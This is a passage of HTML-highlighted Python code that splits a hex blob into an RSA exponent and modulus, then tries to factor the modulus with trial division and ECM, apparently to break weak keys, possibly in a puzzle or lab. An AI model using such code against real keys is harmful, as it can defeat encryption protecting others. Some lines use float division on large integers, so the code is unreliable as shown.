class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssfm"&gt;__init__&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;stream&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">12</td><td> <code> &lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;stream&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;stream&lt;/span&gt;</code> </td></tr><tr><td class="linenos">13</td><td> <code> &lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;write&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;data&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">14</td><td> <code> &lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;stream&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;write&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;data&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">15</td><td> <code> &lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;stream&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;flush&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">16</td><td> <code> &lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;writelines&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;datas&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">17</td><td> <code> &lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;stream&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;writelines&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;datas&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">18</td><td> <code> &lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;stream&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;flush&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">19</td><td> <code> &lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssfm"&gt;__getattr__&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;attr&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">20</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssnb"&gt;getattr&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;stream&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;attr&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">21</td><td> </td></tr><tr><td class="linenos">22</td><td> <code>&lt;span class="pgcssn"&gt;sys&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;stdout&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;Unbuffered&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;sys&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;stdout&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">23</td><td> </td></tr><tr><td class="linenos">24</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;from_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;b&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">25</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;from_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;b&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;big&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">26</td><td> </td></tr><tr><td class="linenos">27</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;find_small_primes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;end&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">28</td><td> <code> &lt;span class="pgcssn"&gt;ret&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssp"&gt;[]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">29</td><td> <code> &lt;span class="pgcssn"&gt;P&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;Primes&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">30</td><td> <code> &lt;span class="pgcssn"&gt;p&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;P&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;first&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">31</td><td> <code> &lt;span class="pgcssk"&gt;while&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt; &lt;span class="pgcsso"&gt;&amp;lt;&lt;/span&gt; &lt;span class="pgcssn"&gt;end&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">32</td><td> <code> &lt;span class="pgcssn"&gt;ret&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;append&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">33</td><td> <code> &lt;span class="pgcssn"&gt;p&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;P&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;next&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">34</td><td> </td></tr><tr><td class="linenos">35</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssn"&gt;ret&lt;/span&gt;</code> </td></tr><tr><td class="linenos">36</td><td> </td></tr><tr><td class="linenos">37</td><td> <code>&lt;span class="pgcssn"&gt;small_primes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;find_small_primes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssmi"&gt;10000&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">38</td><td> </td></tr><tr><td class="linenos">39</td><td> <code>&lt;span class="pgcssc1"&gt;# look for easy factors&lt;/span&gt;</code> </td></tr><tr><td class="linenos">40</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;try_factor&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;iters&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssmi"&gt;30&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;B1&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssmi"&gt;1000&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">41</td><td> <code> &lt;span class="pgcssn"&gt;L&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssp"&gt;[]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">42</td><td> <code> &lt;span class="pgcssn"&gt;q&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;n&lt;/span&gt;</code> </td></tr><tr><td class="linenos">43</td><td> </td></tr><tr><td class="linenos">44</td><td> <code> &lt;span class="pgcssc1"&gt;# find small factors using trial division - ecm doesn&amp;#39;t always find them&lt;/span&gt;</code> </td></tr><tr><td class="linenos">45</td><td> <code> &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssn"&gt;small_primes&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">46</td><td> <code> &lt;span class="pgcssk"&gt;while&lt;/span&gt; &lt;span class="pgcssn"&gt;q&lt;/span&gt; &lt;span class="pgcsso"&gt;%&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt; &lt;span class="pgcsso"&gt;==&lt;/span&gt; &lt;span class="pgcssmi"&gt;0&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">47</td><td> <code> &lt;span class="pgcssn"&gt;L&lt;/span&gt; &lt;span class="pgcsso"&gt;+=&lt;/span&gt; &lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">48</td><td> <code> &lt;span class="pgcssn"&gt;q&lt;/span&gt; &lt;span class="pgcsso"&gt;/=&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt;</code> </td></tr><tr><td class="linenos">49</td><td> </td></tr><tr><td class="linenos">50</td><td> <code> &lt;span class="pgcssc1"&gt;# find larger factors using ecm&lt;/span&gt;</code> </td></tr><tr><td class="linenos">51</td><td> <code> &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;_&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssnb"&gt;range&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;iters&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">52</td><td> <code> &lt;span class="pgcssk"&gt;try&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">53</td><td> <code> &lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;q&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;ecm&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;one_curve&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;q&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;B1&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssn"&gt;B1&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">54</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt; &lt;span class="pgcsso"&gt;!=&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">55</td><td> <code> &lt;span class="pgcssn"&gt;L&lt;/span&gt; &lt;span class="pgcsso"&gt;+=&lt;/span&gt; &lt;span class="pgcssn"&gt;ecm&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;factor&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">56</td><td> </td></tr><tr><td class="linenos">57</td><td> <code> &lt;span class="pgcssc1"&gt;# are we done yet?&lt;/span&gt;</code> </td></tr><tr><td class="linenos">58</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;is_pseudoprime&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;q&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcssow"&gt;and&lt;/span&gt; &lt;span class="pgcssn"&gt;q&lt;/span&gt;&lt;span class="pgcsso"&gt;*&lt;/span&gt;&lt;span class="pgcssn"&gt;prod&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;L&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;==&lt;/span&gt; &lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">59</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsskc"&gt;True&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;L&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;q&lt;/span&gt;&lt;span class="pgcssp"&gt;])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">60</td><td> </td></tr><tr><td class="linenos">61</td><td> <code> &lt;span class="pgcssc1"&gt;# retry with different B1&lt;/span&gt;</code> </td></tr><tr><td class="linenos">62</td><td> <code> &lt;span class="pgcssn"&gt;B1&lt;/span&gt; &lt;span class="pgcsso"&gt;+=&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;sqrt&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;B1&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">63</td><td> <code> &lt;span class="pgcssk"&gt;except&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">64</td><td> <code> &lt;span class="pgcssk"&gt;pass&lt;/span&gt;</code> </td></tr><tr><td class="linenos">65</td><td> </td></tr><tr><td class="linenos">66</td><td> <code> &lt;span class="pgcssc1"&gt;# failed to factor&lt;/span&gt;</code> </td></tr><tr><td class="linenos">67</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsskc"&gt;False&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;L&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcsso"&gt;/&lt;/span&gt;&lt;span class="pgcssn"&gt;prod&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;L&lt;/span&gt;&lt;span class="pgcssp"&gt;)])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">68</td><td> </td></tr><tr><td class="linenos">69</td><td> <code>&lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssvm"&gt;__name__&lt;/span&gt; &lt;span class="pgcsso"&gt;==&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">70</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;I:Starting up...&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">71</td><td> <code> &lt;span class="pgcssn"&gt;raw&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;unhexlify&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;sys&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;argv&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">72</td><td> </td></tr><tr><td class="linenos">73</td><td> <code> &lt;span class="pgcssn"&gt;raw_n_bytes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;raw&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">74</td><td> </td></tr><tr><td class="linenos">75</td><td> <code> &lt;span class="pgcssn"&gt;found&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssp"&gt;{}&lt;/span&gt;</code> </td></tr><tr><td class="linenos">76</td><td> <code> &lt;span class="pgcssn"&gt;incomplete&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssp"&gt;{}&lt;/span&gt;</code> </td></tr><tr><td class="linenos">77</td><td> <code> &lt;span class="pgcssn"&gt;iters&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssmi"&gt;30&lt;/span&gt;</code> </td></tr><tr><td class="linenos">78</td><td> <code> &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;attempt&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssnb"&gt;range&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssmi"&gt;3&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">79</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;I:Attempt &lt;/span&gt;&lt;span class="pgcsssi"&gt;{a}&lt;/span&gt;&lt;span class="pgcsss1"&gt;, iters=&lt;/span&gt;&lt;span class="pgcsssi"&gt;{i}&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;format&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;a&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;attempt&lt;/span&gt;&lt;span class="pgcsso"&gt;+&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;),&lt;/span&gt; &lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssn"&gt;iters&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">80</td><td> <code> &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;pos&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssnb"&gt;range&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;raw_n_bytes&lt;/span&gt; &lt;span class="pgcsso"&gt;-&lt;/span&gt; &lt;span class="pgcssmi"&gt;128&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsso"&gt;-&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">81</td><td> <code> &lt;span class="pgcssc1"&gt;# go on if we already founds factors from this split point&lt;/span&gt;</code> </td></tr><tr><td class="linenos">82</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;pos&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssn"&gt;found&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">83</td><td> <code> &lt;span class="pgcssk"&gt;continue&lt;/span&gt;</code> </td></tr><tr><td class="linenos">84</td><td> </td></tr><tr><td class="linenos">85</td><td> <code> &lt;span class="pgcssn"&gt;e_len&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;pos&lt;/span&gt;</code> </td></tr><tr><td class="linenos">86</td><td> <code> &lt;span class="pgcssn"&gt;n_len&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;raw_n_bytes&lt;/span&gt; &lt;span class="pgcsso"&gt;-&lt;/span&gt; &lt;span class="pgcssn"&gt;pos&lt;/span&gt;</code> </td></tr><tr><td class="linenos">87</td><td> <code> &lt;span class="pgcssn"&gt;e_bytes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;raw&lt;/span&gt;&lt;span class="pgcssp"&gt;[:&lt;/span&gt;&lt;span class="pgcssn"&gt;pos&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">88</td><td> <code> &lt;span class="pgcssn"&gt;n_bytes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;raw&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;pos&lt;/span&gt;&lt;span class="pgcssp"&gt;:]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">89</td><td> <code> &lt;span class="pgcssn"&gt;e&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;from_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;e_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">90</td><td> <code> &lt;span class="pgcssn"&gt;n&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;from_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;n_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">91</td><td> </td></tr><tr><td class="linenos">92</td><td> <code> &lt;span class="pgcssc1"&gt;# skip if e is unusable or is a &amp;#39;standard&amp;#39; value&lt;/span&gt;</code> </td></tr><tr><td class="linenos">93</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;e&lt;/span&gt; &lt;span class="pgcsso"&gt;&amp;lt;&lt;/span&gt; &lt;span class="pgcssmi"&gt;3&lt;/span&gt; &lt;span class="pgcssow"&gt;or&lt;/span&gt; &lt;span class="pgcssn"&gt;e&lt;/span&gt; &lt;span class="pgcsso"&gt;%&lt;/span&gt; &lt;span class="pgcssmi"&gt;2&lt;/span&gt; &lt;span class="pgcsso"&gt;==&lt;/span&gt; &lt;span class="pgcssmi"&gt;0&lt;/span&gt; &lt;span class="pgcssow"&gt;or&lt;/span&gt; &lt;span class="pgcssn"&gt;e&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;65537&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssmi"&gt;257&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssmi"&gt;17&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssmi"&gt;3&lt;/span&gt;&lt;span class="pgcssp"&gt;]:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">94</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;D:Cannot use e at [&lt;/span&gt;&lt;span class="pgcsssi"&gt;{}&lt;/span&gt;&lt;span class="pgcsss1"&gt;] - even or too small&amp;#39;&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;format&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;pos&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">95</td><td> <code> &lt;span class="pgcssn"&gt;found&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;pos&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsskc"&gt;None&lt;/span&gt;</code> </td></tr><tr><td class="linenos">96</td><td> <code> &lt;span class="pgcssk"&gt;continue&lt;/span&gt;</code> </td></tr><tr><td class="linenos">97</td><td> </td></tr><tr><td class="linenos">98</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;n_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;0&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;==&lt;/span&gt; &lt;span class="pgcssmi"&gt;0&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">99</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;D:Cannot use n at 